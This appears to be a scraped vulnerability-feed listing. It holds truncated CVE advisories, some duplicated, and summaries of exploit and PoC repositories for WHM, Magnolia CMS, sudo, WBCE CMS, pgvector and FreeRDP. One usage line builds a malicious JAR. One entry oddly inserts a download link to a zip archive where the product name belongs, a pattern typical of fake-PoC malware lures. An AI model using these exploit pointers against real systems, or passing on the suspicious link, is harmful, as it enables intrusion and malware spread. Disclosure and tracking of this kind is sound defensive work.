CVE-2026-93029

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Manage SSL Hosts interface...

EUVD-2026-91200

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Manage SSL Hosts interface...

CVE-2026-93029

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Manage SSL Hosts interface...

CVE-2026-93697

A stored XSS vulnerability exists in the WHM Mass Modify Accounts interface, potentially allowing for arbitrary code execution . The vulnerability is characterized by a CRITICAL base severity score of 9.0, where an attacker with low privileges can achieve high impact on confidentiality, integrity...

CVE-2026-93697

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Mass Modify Accounts interface...

CVE-2026-93697

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Mass Modify Accounts interface...

EUVD-2026-91199

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Mass Modify Accounts interface...

MAGNOLIA-8281

MAGNOLIA-8281：Magnolia CMS 中的 FreeMarker 限制绕过 2 Magnolia CMS v6.2.16 及以下版本的 FreeMarker 过滤器存在一个安全问题，攻击者可借由精心构造的 FreeMarker 载荷绕过安全限制，读取/写入/移动/复制/删除任意文件。通过写入任意 JSP 文件，已成功实现任意代码执行。 厂商披露： 该漏洞的厂商披露与修复方案可以在此处查看。 为什么没有 CVE？ 我和厂商均未为这些漏洞申请 CVE。 概念验证： 更多详情及利用过程可参见此 PDF。 其他资源： 用于执行任意系统命令的 JSP 代码可在此处找到...

jvmtiAgentLoad-Exploit

通过 jvmtiAgentLoad 实现任意代码执行 描述： 用于生成恶意 JAR 以利用 jvmtiAgentLoad 的工具和代码。 用法： $ bash createjar.sh Usage: createjar.sh Supported TARGETOS options: linux|windows Linux 目标 以下命令会生成一个可用于 Linux 目标的 JAR（mal.jar）： bash createjar.sh linux 'id /tmp/jvmtiLoadAgenttest' Windows 目标 以下命令会生成一个可用于 Windows 目标的...

DS-Wireless-Communication-Remote-Code-Execution

DS 无线通信远程代码执行 将任意代码注入客户端游戏。 前置要求 Python 3.10 pip pydivert 使用方法 pip install -r requirements.txt python dswirelesscommunicationremotecodeexecution.py CVE-ID CVE-2023-45887 许可证 GNU 通用公共许可证 v2.0...

CVE-2025-32463-POC

CVE-2025-32463 - sudo ローカル権限昇格 PoC ⚠️ このリポジトリには CVE-2025-32463 の Proof of Concept PoC エクスプロイトが含まれています 教育目的 および許可された環境 でのみ使用することを意図しています。 🧠 脆弱性について CVE-2025-32463 は、sudo バージョン 1.9.14 から 1.9.17 に影響するローカル権限昇格の脆弱性です。 この欠陥は、sudo が 1.9.14 で導入された --chroot -R オプションを処理する方法にあります。権限のないユーザーが制御可能な chroot パス内に偽...

WBCE-CMS-Stored-XSS---Pages-Menu

WBCE CMS 存储型 XSS v1.6.1 作者：Sergio 描述： WBCE CMS 1.6.1 存在跨站存储型脚本（XSS）漏洞，攻击者可通过在 Pages 菜单的 Intro Page 参数中精心构造的有效载荷来执行任意代码。该有效载荷将在主页上执行，且与用户会话无关，因此使用另一个用户访问首页时同样会执行该有效载荷。 POC： 登录面板后，我们将转到 Pages 中的“Modify Intro Page”部分 http://localhost/wbce/wbce/admin/pages/index.php 我们编辑 body 配置并在其中添加 XSS 有效载荷： XSS...

[SECURITY] [DLA 4812-1] libio-compress-perl security update

------------------------------------------------------------------------- Debian LTS Advisory DLA-4812-1 [email protected] https://www.debian.org/lts/security/ Arnaud Rebillout October 02, 2026 https://wiki.debian.org/LTS -...

CVE-2026-103484

A flaw was found in pgvector. An authenticated database user can trigger an out-of-bounds write during an Inverted File Flat IVFFlat index build operation. This vulnerability may allow the attacker to achieve arbitrary code execution or cause a crash resulting in a denial of service on the databa...

CVE-2026-63292

A flaw was found in httpd's modvhostalias module. A remote attacker can exploit a stack-based buffer overflow by sending a crafted HTTP request with an excessively large Host header to a server using specific virtual hosting configurations. This issue can lead to arbitrary code execution or cause...

CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - 轻松安全地运行命令 🚀 概述 CVE-2025-55182 是存在于 https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip 和 React Server Components 中的一个漏洞。该问题由于 React Server Actions 中数据处理不当，允许未经授权的用户在受影响的服务器上执行任意代码。我们的应用程序提供了一个交互式...

CVE-2025-5548

💣 漏洞利用开发 - 缓冲区溢出 本仓库记录了 缓冲区溢出 类型漏洞的完整利用过程，遵循从初始分析到控制执行流程的结构化方法论。 🎯 目标 此阶段的目标是开发一个可用的漏洞利用程序，重定向易受攻击程序的执行流程，并为任意代码执行奠定基础。 🧭 漏洞利用方法论 以下详细说明了该过程所遵循的步骤： 🔍 步骤 1 - 二进制静态分析（IDA Free） 使用逆向工程工具分析二进制文件，以了解： 程序结构 相关函数 可能的漏洞点 📁步骤1-使用IDAFree进行二进制静态分析 🧪 步骤 2 - 模糊测试 向程序发送畸形输入以触发受控崩溃，并确认漏洞的存在。 识别故障点 验证意外行为 📁...

FreeRDP: FreeRDP: Remote code execution or client crash via malicious TS Gateway

A flaw was found in FreeRDP. FreeRDP clients using TS Gateway are vulnerable to a heap-buffer-overflow. A malicious gateway can send a specially crafted response fragment, causing the client to write beyond its allocated buffer. This can lead to a client crash, resulting in a Denial of Service Do...

CVE-2026-93697: Improper Neutralization of Input During Web Page Generation

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Mass Modify Accounts interface...

Linux Distros Unpatched Vulnerability : CVE-2026-103484

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - IVFFlat index build in pgvector before 0.8.7 allows a database user to write data out-of-bounds, which can lead to arbitrary code execution. CVE-2026-103484 Not...